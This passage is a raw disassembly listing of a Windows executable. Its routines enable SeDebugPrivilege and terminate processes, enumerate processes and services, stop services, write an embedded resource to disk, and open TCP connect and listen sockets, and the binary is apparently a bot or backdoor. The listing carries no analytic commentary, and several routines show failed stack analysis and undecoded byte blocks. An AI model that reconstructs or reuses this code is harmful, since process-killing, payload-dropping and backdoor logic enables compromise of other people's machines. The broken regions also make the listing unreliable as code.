dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FBD0 proc near ; CODE XREF: sub_401069j push esi mov esi, ecx call sub_401E6A mov dword ptr [esi], offset off_43E068 mov eax, esi pop esi retn sub_41FBD0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FC00 proc near ; CODE XREF: sub_401CDFj var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = byte ptr -100h sub esp, 110h mov dword_50BB58, ecx push 100h mov ecx, offset byte_44793F call sub_4017E4 push eax lea eax, [esp+118h+var_100] push eax call near ptr 77C47A90h nop add esp, 0Ch lea edx, [esp+110h+var_110] lea ecx, [esp+110h+var_100] xor eax, eax push edx mov [esp+114h+var_110], ecx mov [esp+114h+var_10C], offset loc_401956 mov [esp+114h+var_108], eax mov [esp+114h+var_104], eax call near ptr 28E0000h nop xor eax, eax add esp, 110h retn sub_41FC00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41FC80: ; CODE XREF: ___:00401C30j mov eax, [esp+4] push ebx push esi push edi push offset aWb ; "wb" push eax nop call near ptr 77C3F010h mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_41FCA2 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FCA2: ; CODE XREF: ___:0041FC9Aj mov ecx, [esp+18h] push ecx nop call near ptr 2871CFFh mov esi, eax test esi, esi jnz short loc_41FCB9 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FCB9: ; CODE XREF: ___:0041FCB1j mov edx, [esp+14h] push offset aBinres ; "BINRES" and edx, 0FFFFh push edx push esi nop call near ptr 2770920h mov edi, eax test edi, edi jnz short loc_41FCDC pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FCDC: ; CODE XREF: ___:0041FCD4j push ebp push edi push esi nop call near ptr 2780000h push edi push esi mov ebp, eax nop call near ptr 27803AAh push ebp mov esi, eax call near ptr 278070Eh nop push ebx push esi push 1 push eax call near ptr 77C4173Bh nop push ebx nop call near ptr 77C40AB1h add esp, 14h mov al, 1 pop ebp pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FD50 proc near ; CODE XREF: sub_40187Fj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call near ptr 71AB2BF4h nop cmp eax, 0FFFFFFFFh jnz short loc_41FD78 push esi nop call near ptr 71AB4FD4h test eax, eax jnz short loc_41FD71 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41FD71: ; CODE XREF: sub_41FD50+1Aj mov eax, [eax+0Ch] mov ecx, [eax] mov eax, [ecx] loc_41FD78: ; CODE XREF: sub_41FD50+Fj pop esi retn sub_41FD50 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FD90 proc near ; CODE XREF: sub_401A8Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push esi push 6 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_41FDAE or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FDAE: ; CODE XREF: sub_41FD90+15j mov ecx, [esp+14h+arg_4] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax nop call near ptr 71AB2B66h mov edx, [esp+14h+arg_0] mov word ptr [esp+14h+var_10+2], ax push edx call sub_40187F add esp, 4 mov [esp+14h+var_C], eax lea eax, [esp+14h+var_10] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jnz short loc_41FE0A push esi nop call near ptr 71AB9639h or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FE0A: ; CODE XREF: sub_41FD90+69j mov eax, esi pop esi add esp, 10h retn sub_41FD90 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FE50 proc near ; CODE XREF: sub_40197Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h push esi push 6 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_41FE6E or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FE6E: ; CODE XREF: sub_41FE50+15j mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax nop call near ptr 71AB2B66h lea edx, [esp+14h+var_10] push 10h push edx push esi mov word ptr [esp+20h+var_10+2], ax mov [esp+20h+var_C], 0 nop call near ptr 71AB3E00h test eax, eax jz short loc_41FEC0 push esi call near ptr 71AB9639h nop or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FEC0: ; CODE XREF: sub_41FE50+5Fj mov eax, esi pop esi add esp, 10h retn sub_41FE50 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FEF0 proc near ; CODE XREF: sub_4012DFj var_10 = byte ptr -10h arg_0 = dword ptr 4 sub esp, 10h push esi mov esi, [esp+14h+arg_0] push 0Ah push esi call near ptr 71AB88D3h nop cmp eax, 0FFFFFFFFh jz short loc_41FF24 lea eax, [esp+14h+arg_0] lea ecx, [esp+14h+var_10] push eax push ecx push esi mov [esp+20h+arg_0], 10h nop call near ptr 71AC1028h cmp eax, 0FFFFFFFFh jnz short loc_41FF27 loc_41FF24: ; CODE XREF: sub_41FEF0+14j or eax, 0FFFFFFFFh loc_41FF27: ; CODE XREF: sub_41FEF0+32j pop esi add esp, 10h retn sub_41FEF0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FF40 proc near ; CODE XREF: sub_401FEBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_41FF76 mov esi, [esp+8+arg_0] push 0Ah push esi call near ptr 71AB88D3h nop cmp eax, 0FFFFFFFFh jz short loc_41FF76 lea eax, [esp+8+arg_4] mov [esp+8+arg_4], 10h push eax push edi push esi nop call near ptr 71AC1028h cmp eax, 0FFFFFFFFh jnz short loc_41FF79 loc_41FF76: ; CODE XREF: sub_41FF40+8j ; sub_41FF40+1Aj or eax, 0FFFFFFFFh loc_41FF79: ; CODE XREF: sub_41FF40+34j pop edi pop esi retn sub_41FF40 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41FF90 proc near ; CODE XREF: sub_4015FAj var_1128 = dword ptr -1128h var_1124 = byte ptr -1124h var_1112 = byte ptr -1112h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_1108 = byte ptr -1108h var_1104 = byte ptr -1104h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = byte ptr 8 arg_104 = byte ptr 108h arg_110 = byte ptr 114h mov eax, 1114h call sub_436840 lea eax, [esp+arg_4] lea ecx, [esp+arg_110] push eax push 1000h push ecx mov byte ptr [esp+0Fh], 0 call sub_436FC0 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41FFC3 xor al, al add esp, 1114h retn ; --------------------------------------------------------------------------- loc_41FFC3: ; CODE XREF: sub_41FF90+28j mov eax, [esp+0Ch+var_4] shr eax, 2 jz loc_42008D push ebx mov ebx, dword_50F874 push ebp push esi push edi lea ebp, [esp+1Ch+arg_104] mov [esp+1Ch+var_8], eax loc_41FFE5: ; CODE XREF: sub_41FF90+F3j mov edi, offset aUnknown ; "unknown" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+20h] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebp+0] push ecx push 0 push 411h call ebx mov esi, eax test esi, esi jz short loc_420077 lea edx, [esp+18h] lea eax, [esp+1Ch] push edx push 4 push eax push esi call sub_436FBA ; --------------------------------------------------------------------------- test eax, eax jz short loc_420070 mov edx, [esp+1144h+var_1128] lea ecx, [esp+1144h+var_1124] push 104h push ecx push edx push esi call sub_436FB4 ; --------------------------------------------------------------------------- db 8Bh, 84h, 24h dd 1128h, 20244C8Dh, 0E8905150h, 778261F2h, 8508C483h dd 500D75C0h, 0FF96E856h, 0C690022Dh, 1132444h ; --------------------------------------------------------------------------- loc_420070: ; CODE XREF: sub_41FF90+A2j push esi call near ptr 28207FBh nop loc_420077: ; CODE XREF: sub_41FF90+8Cj mov eax, dword ptr [esp+1138h+var_1124] add ebp, 4 dec eax mov dword ptr [esp+1138h+var_1124], eax jnz loc_41FFE5 pop edi pop esi pop ebp pop ebx loc_42008D: ; CODE XREF: sub_41FF90+3Aj mov al, byte ptr [esp+1128h+var_1128+3] add esp, 1114h retn sub_41FF90 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4200F0 proc near ; CODE XREF: sub_4019FBj var_490 = byte ptr -490h var_488 = byte ptr -488h var_482 = byte ptr -482h var_480 = byte ptr -480h var_478 = byte ptr -478h var_468 = dword ptr -468h var_464 = byte ptr -464h var_454 = dword ptr -454h var_450 = dword ptr -450h var_43C = byte ptr -43Ch var_438 = byte ptr -438h var_424 = byte ptr -424h var_420 = byte ptr -420h var_38 = byte ptr -38h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4200F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 44Ch push ebx push esi mov esi, [esp+460h+arg_0] lea ecx, [esp+460h+var_424] push esi call sub_401861 push eax mov [esp+464h+var_4], 0 call sub_401E8D add esp, 4 lea ecx, [esp+460h+var_424] mov bl, al mov [esp+460h+var_4], 0FFFFFFFFh call sub_401226 test bl, bl jz loc_42026A lea ecx, [esp+460h+var_43C] call sub_401424 push esi lea eax, [esp+464h+var_43C] mov ebx, 1 push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s" push eax mov [esp+46Ch+var_4], ebx mov [esp+46Ch+var_454], 0 mov [esp+46Ch+var_450], 80h call sub_40102D add esp, 0Ch lea ecx, [esp+460h+var_454] push ecx push 20019h push 0 lea ecx, [esp+46Ch+var_43C] call sub_401681 push eax push 80000002h call near ptr 292023Dh nop mov ecx, [esp+474h+var_468] lea edx, [esp+474h+var_464] lea eax, [esp+474h+var_420] push edx push eax push 0 push 0 push offset aImagepath ; "ImagePath" push ecx nop call near ptr 28D0000h lea edx, [esp+0Bh] lea eax, [esp+48Ch+var_438] push edx push eax lea ecx, [esp+494h+var_478] nop call near ptr 76081F67h mov ecx, dword_50F9AC mov [esp+494h+var_38], 2 mov edx, [ecx] lea ecx, [esp+494h+var_480] push edx push offset asc_443AF4 ; "\\" nop call near ptr 76085AE4h inc eax lea ecx, [esp+49Ch+var_488] push eax push 0 nop call near ptr 760976AFh lea ecx, [esp+4A4h+var_490] call near ptr 7608B84Ch nop push eax call sub_4015FA ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 24244C8Dh, 0FE145CE8h, 0E89050FFh, 23B067Fh, 14244C8Dh dd 5C249C88h, 90000004h, 0C6F248E8h, 244C8D75h, 2484C724h dd 45Ch, 0FFFFFFFFh, 0FE0FD5E8h, 5EC38AFFh, 248C8B5Bh dd 44Ch, 0D8964h, 81000000h, 458C4h db 0, 0C3h ; --------------------------------------------------------------------------- loc_42026A: ; CODE XREF: sub_4200F0+5Aj mov ecx, [esp+460h+var_C] pop esi xor al, al pop ebx mov large fs:0, ecx add esp, 458h retn sub_4200F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420300 proc near ; CODE XREF: sub_401E8Dj var_1C = byte ptr -1Ch arg_0 = dword ptr 4 sub esp, 1Ch push ebx push esi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 call near ptr 2900000h nop mov ebx, eax test ebx, ebx jnz short loc_420325 pop esi xor al, al pop ebx add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_420325: ; CODE XREF: sub_420300+1Bj mov ecx, [esp+24h+arg_0] push 0F01FFh call sub_4017E4 push eax push ebx nop call near ptr 2890574h mov esi, eax test esi, esi jnz short loc_420350 push ebx nop call near ptr 2900668h pop esi xor al, al pop ebx add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_420350: ; CODE XREF: sub_420300+3Fj push ebp push edi mov edi, dword_50F740 push esi call edi push esi call edi mov ebp, dword_50F73C lea eax, [esp+2Ch+var_1C] push eax push 1 push esi call ebp push esi call edi lea ecx, [esp+2Ch+var_1C] push ecx push 1 push esi call ebp push esi mov esi, dword_50F74C call esi push ebx call esi pop edi pop ebp pop esi mov al, 1 pop ebx add esp, 1Ch retn sub_420300 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4203D0 proc near ; CODE XREF: sub_4018A7j var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 4 sub esp, 28h push ebx push ebp push esi lea eax, [esp+34h+var_28] push edi xor esi, esi push eax push esi push 28h xor bl, bl mov [esp+44h+var_24], 10h nop call near ptr 27702BDh push eax call near ptr 28B1717h nop mov ebp, dword_50F718 mov edi, dword_50F8D8 test eax, eax jnz short loc_420420 lea ecx, [esp+38h+var_28] push ecx push 28h nop call near ptr 27702D6h push eax call near ptr 28B1C4Ah nop test eax, eax jz short loc_42047F loc_420420: ; CODE XREF: sub_4203D0+36j cmp [esp+38h+var_28], esi jz short loc_420483 lea edx, [esp+38h+var_1C] mov [esp+38h+var_20], 1 push edx push offset aSedebugprivile ; "SeDebugPrivilege" push esi mov [esp+44h+var_14], 2 nop call near ptr 28C0000h lea eax, [esp+38h+var_24] lea ecx, [esp+38h+var_10] push eax mov eax, [esp+3Ch+var_28] push ecx lea edx, [esp+40h+var_20] push 10h push edx push esi push eax call ebp test eax, eax jz short loc_420478 nop call near ptr 27A08E3h cmp eax, 514h jnz short loc_420483 mov ecx, [esp+38h+var_28] push ecx jmp short loc_42047D ; --------------------------------------------------------------------------- loc_420478: ; CODE XREF: sub_4203D0+92j mov edx, [esp+38h+var_28] push edx loc_42047D: ; CODE XREF: sub_4203D0+A6j call edi loc_42047F: ; CODE XREF: sub_4203D0+4Ej mov [esp+38h+var_28], esi loc_420483: ; CODE XREF: sub_4203D0+54j ; sub_4203D0+9Fj mov eax, [esp+38h+arg_0] push eax push esi push 411h nop call near ptr 2770316h mov esi, eax test esi, esi jz short loc_4204A8 push 0 push esi nop call near ptr 2700000h push esi mov bl, 1 call edi loc_4204A8: ; CODE XREF: sub_4203D0+C8j mov eax, [esp+38h+var_28] test eax, eax jz short loc_4204C7 push 0 push 0 lea ecx, [esp+40h+var_10] push 10h push ecx push 0 push eax call ebp mov edx, [esp+38h+var_28] push edx call edi loc_4204C7: ; CODE XREF: sub_4203D0+DEj pop edi pop esi mov al, bl pop ebp pop ebx add esp, 28h retn sub_4203D0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420530 proc near ; CODE XREF: sub_4011D6j var_68 = dword ptr -68h var_54 = byte ptr -54h var_4C = dword ptr -4Ch var_3C = byte ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_28 = byte ptr -28h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_F4 = byte ptr 0F8h arg_100 = byte ptr 104h arg_10C4 = dword ptr 10C8h arg_10D0 = dword ptr 10D4h arg_1104 = dword ptr 1108h arg_1118 = dword ptr 111Ch mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_420530 push eax mov eax, 1130h mov large fs:0, esp call sub_436840 push esi push offset aPsapi_dll ; "PSAPI.DLL" nop call near ptr 2871CFFh test eax, eax mov dword_50BB60, eax jnz short loc_42057C push offset aPsapi_dll ; "PSAPI.DLL" call near ptr 27C0890h nop test eax, eax mov dword_50BB60, eax jz loc_4206FA loc_42057C: ; CODE XREF: sub_420530+32j mov esi, dword_50F8A0 push offset aEnumprocesses ; "EnumProcesses" push eax call esi mov dword_50BB64, eax mov eax, dword_50BB60 push offset aEnumprocessmod ; "EnumProcessModules" push eax call esi mov ecx, dword_50BB60 push offset aGetmodulefilen ; "GetModuleFileNameExA" push ecx mov dword_50BB68, eax call esi mov ecx, dword_50BB64 mov dword_50BB6C, eax test ecx, ecx jz loc_4206FA mov edx, dword_50BB68 test edx, edx jz loc_4206FA test eax, eax jz loc_4206FA lea edx, [esp+30h+var_28] lea eax, [esp+30h+arg_100] push edx push 1000h push eax call ecx test eax, eax jz loc_4206FA mov ecx, dword ptr aUnknown ; "unknown" mov eax, dword ptr aUnknown+4 mov edx, [esp+3Ch+var_34] push edi mov [esp+40h+var_C], ecx mov [esp+40h+var_8], eax mov ecx, 3Fh mov eax, 0 lea edi, [esp+40h+var_4] shr edx, 2 rep stosd jz loc_4206E1 push ebx mov ebx, [esp+44h+arg_1104] push ebp mov ebp, dword_50F874 lea edi, [esp+48h+arg_F4] mov [esp+48h+var_38], edx loc_42063F: ; CODE XREF: sub_420530+1A9j mov ecx, [edi] push ecx push 0 push 410h call ebp mov esi, eax test esi, esi jz short loc_4206CD lea edx, [esp+54h+var_38] lea eax, [esp+54h+var_3C] push edx push 4 push eax push esi call dword_50BB68 test eax, eax jz short loc_4206C6 mov edx, [esp+64h+var_4C] lea ecx, [esp+64h+var_28] push 104h push ecx push edx push esi call dword_50BB6C lea ecx, [esp+74h+var_54] call sub_401866 lea eax, [esp+74h+var_38] lea ecx, [esp+74h+var_54] push eax mov [esp+78h+arg_10D0], 0 call sub_4015D7 mov ecx, [edi] lea edx, [esp+74h+var_54] mov [esp+35h], ecx push edx mov ecx, ebx call sub_402167 ; --------------------------------------------------------------------------- lea ecx, [esp+74h+var_54] mov [esp+74h+arg_10D0], 0FFFFFFFFh call sub_401A6E loc_4206C6: ; CODE XREF: sub_420530+136j push esi nop call near ptr 28207FBh loc_4206CD: ; CODE XREF: sub_420530+11Fj mov eax, [esp+78h+var_68] add edi, 4 dec eax mov [esp+78h+var_68], eax jnz loc_42063F pop ebp pop ebx loc_4206E1: ; CODE XREF: sub_420530+EFj pop edi mov al, 1 pop esi mov ecx, [esp+68h+arg_10C4] mov large fs:0, ecx add esp, 113Ch retn ; --------------------------------------------------------------------------- loc_4206FA: ; CODE XREF: sub_420530+46j ; sub_420530+8Cj ... mov ecx, [esp+18h+arg_1118] xor al, al pop esi mov large fs:0, ecx add esp, 113Ch retn sub_420530 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4207A0 proc near ; CODE XREF: sub_401866j push esi mov esi, ecx call sub_401424 mov eax, esi pop esi retn sub_4207A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4207C0 proc near ; CODE XREF: sub_401A6Ej jmp sub_401226 sub_4207C0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4207E0 proc near ; CODE XREF: sub_402144j var_518 = byte ptr -518h var_514 = dword ptr -514h var_510 = dword ptr -510h var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_4F8 = byte ptr -4F8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4DC = dword ptr -4DCh var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4CC = dword ptr -4CCh var_4C8 = dword ptr -4C8h var_4C4 = dword ptr -4C4h var_4C0 = dword ptr -4C0h var_4BC = dword ptr -4BCh var_4B8 = dword ptr -4B8h var_4B4 = dword ptr -4B4h var_4B0 = dword ptr -4B0h var_4AC = dword ptr -4ACh var_4A8 = dword ptr -4A8h var_4A4 = dword ptr -4A4h var_4A0 = dword ptr -4A0h var_49C = dword ptr -49Ch var_498 = dword ptr -498h var_494 = dword ptr -494h var_490 = dword ptr -490h var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = dword ptr -47Ch var_478 = dword ptr -478h var_474 = dword ptr -474h var_470 = dword ptr -470h var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = dword ptr -45Ch var_458 = dword ptr -458h var_454 = dword ptr -454h var_450 = dword ptr -450h var_44C = dword ptr -44Ch var_448 = dword ptr -448h var_444 = dword ptr -444h var_440 = dword ptr -440h var_43C = dword ptr -43Ch var_438 = dword ptr -438h var_430 = byte ptr -430h var_41C = byte ptr -41Ch var_408 = byte ptr -408h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4207E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 50Ch push ebx push ebp xor ebx, ebx push 80000000h push ebx push ebx nop call near ptr 2900000h mov ebp, eax cmp ebp, ebx mov [esp+520h+var_500], ebp jnz short loc_42082F pop ebp xor al, al pop ebx mov ecx, [esp+518h+var_C] mov large fs:0, ecx add esp, 518h retn ; --------------------------------------------------------------------------- loc_42082F: ; CODE XREF: sub_4207E0+34j push esi push edi lea ecx, [esp+528h+var_4FC] mov [esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv" mov [esp+528h+var_4E0], offset aBrowser ; "Browser" mov [esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc" mov [esp+528h+var_4D8], offset aDhcp ; "Dhcp" mov [esp+528h+var_4D4], offset aDmserver ; "dmserver" mov [esp+528h+var_4D0], offset aDnscache ; "Dnscache" mov [esp+528h+var_4CC], offset aErsvc ; "ERSvc" mov [esp+528h+var_4C8], offset aEventlog ; "Eventlog" mov [esp+528h+var_4C4], offset aEventsystem ; "EventSystem" mov [esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility" mov [esp+528h+var_4BC], offset aHelpsvc ; "helpsvc" mov [esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver" mov [esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation" mov [esp+528h+var_4B0], offset aLmhosts ; "LmHosts" mov [esp+528h+var_4AC], offset off_44432C mov [esp+528h+var_4A8], offset aMessenger ; "Messenger" mov [esp+528h+var_4A4], offset aNetman ; "Netman" mov [esp+528h+var_4A0], offset off_444314 mov [esp+528h+var_49C], offset aPlugplay ; "PlugPlay" mov [esp+528h+var_498], offset aPolicyagent ; "PolicyAgent" mov [esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage" mov [esp+528h+var_490], offset aRasman ; "RasMan" mov [esp+528h+var_48C], offset aRpcss ; "RpcSs" mov [esp+528h+var_488], offset aSamss ; "SamSs" mov [esp+528h+var_484], offset aSchedule ; "Schedule" mov [esp+528h+var_480], offset aSeclogon ; "seclogon" mov [esp+528h+var_47C], offset aSens ; "SENS" mov [esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection" mov [esp+528h+var_474], offset aSpooler ; "Spooler" mov [esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV" mov [esp+528h+var_46C], offset aStisvc ; "stisvc" mov [esp+528h+var_468], offset aTapisrv ; "TapiSrv" mov [esp+528h+var_464], offset aTermservice ; "TermService" mov [esp+528h+var_460], offset aTrkwks ; "TrkWks" mov [esp+528h+var_45C], offset aUploadmgr ; "uploadmgr" mov [esp+528h+var_458], offset aUpnphost ; "upnphost" mov [esp+528h+var_454], offset aW32time ; "W32Time" mov [esp+528h+var_450], offset aWebclient ; "WebClient" mov [esp+528h+var_44C], offset aWinmgmt ; "winmgmt" mov [esp+528h+var_448], offset aWzcsvc ; "WZCSVC" mov [esp+528h+var_444], offset aWuauserv ; "wuauserv" mov [esp+528h+var_440], offset aSrservice ; "srservice" mov [esp+528h+var_43C], offset aThemes ; "Themes" mov [esp+528h+var_438], ebx mov [esp+528h+var_510], ebx call sub_401424 lea eax, [esp+528h+var_510] lea ecx, [esp+528h+var_514] mov esi, dword_50F710 push eax lea edx, [esp+52Ch+var_518] push ecx push edx lea eax, [esp+534h+var_41C] push ebx push eax push 1 push 30h push ebp mov [esp+548h+var_4], ebx mov [esp+548h+var_50C], ebx mov [esp+548h+var_504], 80h call esi mov ecx, [esp+524h+var_514] push ecx call near ptr 77C2C407h nop add esp, 4 mov edi, eax lea edx, [esp+524h+var_50C] lea eax, [esp+524h+var_510] push edx mov edx, [esp+528h+var_514] lea ecx, [esp+528h+var_514] push eax push ecx push edx push edi push 1 push 30h push ebp call esi mov eax, [esp+524h+var_510] mov [esp+524h+var_504], ebx cmp eax, ebx jbe loc_420B8F mov ebp, dword_50F75C loc_420A6B: ; CODE XREF: sub_4207E0+3A5j mov eax, offset aAudiosrv ; "AudioSrv" test eax, eax jz short loc_420A97 lea esi, [esp+524h+var_4E0] loc_420A78: ; CODE XREF: sub_4207E0+2B5j mov ecx, [edi] push ecx push eax nop call near ptr 77C4624Eh add esp, 8 test eax, eax jz loc_420B73 mov eax, [esi+4] add esi, 4 cmp eax, ebx jnz short loc_420A78 loc_420A97: ; CODE XREF: sub_4207E0+292j mov edx, [edi] lea eax, [esp+524h+var_4F8] push edx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s" push eax call sub_40102D add esp, 0Ch lea ecx, [esp+524h+var_508] push ecx push 20019h push ebx lea ecx, [esp+530h+var_4F8] call sub_401681 push eax push 80000002h call ebp cmp eax, ebx jz short loc_420AE3 mov edx, [edi] lea eax, [esp+524h+var_4F8] push edx push offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)" push eax call sub_40102D add esp, 0Ch jmp short loc_420B3A ; --------------------------------------------------------------------------- loc_420AE3: ; CODE XREF: sub_4207E0+2EAj mov eax, [esp+524h+var_508] lea ecx, [esp+524h+var_500] lea edx, [esp+524h+var_408] push ecx push edx push ebx push ebx push offset aImagepath ; "ImagePath" push eax nop call near ptr 28D0000h cmp eax, ebx jz short loc_420B1D mov ecx, [edi] lea edx, [esp+524h+var_4F8] push ecx push offset aS????_exe ; "[%s] [????.exe]" push edx call sub_40102D add esp, 0Ch jmp short loc_420B3A ; --------------------------------------------------------------------------- loc_420B1D: ; CODE XREF: sub_4207E0+324j mov ecx, [edi] lea eax, [esp+524h+var_408] push eax push ecx lea edx, [esp+52Ch+var_4F8] push offset aSS ; "[%s] [%s]" push edx call sub_40102D add esp, 10h loc_420B3A: ; CODE XREF: sub_4207E0+301j ; sub_4207E0+33Bj lea eax, [esp+524h+var_4F8] lea ecx, [esp+524h+var_430] push eax call sub_4014C9 mov ecx, [esp+524h+arg_4] push eax mov byte ptr [esp+528h], 1 call sub_401325 ; --------------------------------------------------------------------------- lea ecx, [esp+524h+var_430] mov [esp+524h], bl call sub_401226 loc_420B73: ; CODE XREF: sub_4207E0+2A7j mov eax, [esp+524h+var_504] mov ecx, [esp+524h+var_510] inc eax add edi, 24h cmp eax, ecx mov [esp+524h+var_504], eax jb loc_420A6B mov ebp, [esp+524h+var_4FC] loc_420B8F: ; CODE XREF: sub_4207E0+27Fj push ebp call near ptr 2900668h nop lea ecx, [esp+528h+var_4FC] mov [esp+528h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+528h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 518h retn sub_4207E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420CD0 proc near ; CODE XREF: sub_4015EBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push eax push esi push 0 nop call near ptr 2871CFFh push eax nop call near ptr 2871176h mov eax, esi pop esi retn sub_420CD0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420D00 proc near ; CODE XREF: sub_401A28j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] push ebx mov [ebp+var_4], 0 mov [ebp+arg_4], eax femms mov ecx, [ebp+arg_4] mov edx, [ebp+arg_0] mov ebx, [ebp+var_4] cmp ecx, 2 js short loc_420D39 loc_420D22: ; CODE XREF: sub_420D00+32j xor eax, eax mov ax, [edx] add ebx, eax sub 